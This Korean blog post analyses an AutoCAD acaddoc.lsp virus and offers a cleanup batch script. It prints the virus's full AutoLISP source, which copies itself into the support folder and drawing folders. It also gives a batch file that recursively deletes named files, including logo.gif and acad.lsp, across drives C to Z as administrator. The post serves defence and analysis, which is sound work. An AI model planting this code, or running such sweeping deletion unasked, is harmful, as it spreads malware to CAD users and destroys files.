본문 바로가기
AutoCAD/AutoLisp

[파일] 두번째 acaddoc.lsp 바이러스 리습분석

by Crony 2014. 10. 21.

구문을 보니 초기 캐드바이러스 구문으로 판단이 되네요.

1. support 폴더에 acaddoc.lsp 파일을 복사 한다.

2. 작업폴더에  acaddoc.lsp 파일을 복사 한다.


조치방법 연결된 네트워크의 모든 폴더에서 acaddoc.lsp을 삭제하시면 됩니다.

도스스크립트 언어로 모든 파일을 삭제하는 것을 만들어서 돌리면 됩니다.


C~Z드리이버까지 acad.lsp, acaddoc.lsp, acadapp.lsp, acadapq.lsp, acad.fas, acaddoc.fas, acad.vlx, logo.gif, acad.reg, acadiso.lsp

파일을 전부 삭제하는 스크립터 언어입니다. bat파일을 만들어서 관리자 권한으로 실행 하시면 됩니다.


FOR %%P IN (C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (

  IF EXIST %%P:\nul (

    echo.

    echo  Cleaning drive %%P...

    echo.

@echo on      

      del %%P:\acad.lsp /s

      del %%P:\acaddoc.lsp /s

      del %%P:\acadapp.lsp /s 

      del %%P:\acadapq.lsp /s

      del %%P:\acad.fas /s 

      del %%P:\acaddoc.fas /s 

      del %%P:\acad.vlx /s 

      del %%P:\logo.gif /s

      del %%P:\acad.reg /s 

      del %%P:\acadiso.lsp /s 

@echo off

  )

)

cls

echo.

echo  Cleaning of files finished.

echo.

GOTO END

:NOT_EXIST

ECHO DRIVE F: DOES NOT EXIST !

GOTO END


:NOT_READY

ECHO DRIVE F: IS NOT READY

GOTO END

:END

pause


아래는 바이러스 구문 입니다

 (defun-q s::startup

  (/ basepath

     baseacad

     acaddocpath

     r-acaddoc

     w-basepath

     rl-acaddoc

     acaddoclsp

     c-acaddocname

     c-acaddocpath

     c-acaddoc

    )

     (setq basepath

     (findfile "base.dcl")

     )

     (setq basepath

     (substr basepath

      1 (- (strlen basepath) 8)

            )

     )

     (setq baseacad (strcat basepath "acaddoc.lsp"))

 (setq acaddocpath

               (findfile "acaddoc.lsp")

 )

 (setq acaddocpath

        (substr acaddocpath

         1 (- (strlen acaddocpath) 11)

        )

 )

 (setq acaddoclsp

        (strcat acaddocpath "acaddoc.lsp"))

        (setq c-acaddocname

        (getvar "dwgname")

 )

        (setq c-acaddocpath

        (findfile c-acaddocname)

 )

        (setq c-acaddocpath

        (substr c-acaddocpath

         1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) 

  )

  )

        (setq c-acaddoc

        (strcat c-acaddocpath "acaddoc.lsp")

  )

  (if

           (and

    (/= basepath acaddocpath)

    (= c-acaddocpath acaddocpath)

    )

      (progn

        (setq r-acaddoc

        (open acaddoclsp "r")

        )

        (setq w-basepath

           (open baseacad "w")

  )     

        (while

            (setq rl-acaddoc

      (read-line r-acaddoc)

            )

            (write-line rl-acaddoc w-basepath)

         )

         (close w-basepath)   

                (close r-acaddoc)

             )

      (progn

        (setq r-acaddoc

        (open acaddoclsp "r")

        )

        (setq w-basepath

           (open c-acaddoc "w")

  )

         (while

            (setq rl-acaddoc

      (read-line r-acaddoc)

            )

            (write-line rl-acaddoc w-basepath)

         )

         (close w-basepath)   

                (close r-acaddoc)

             )

  )

  (princ)

)

(load "acadapq")

(princ)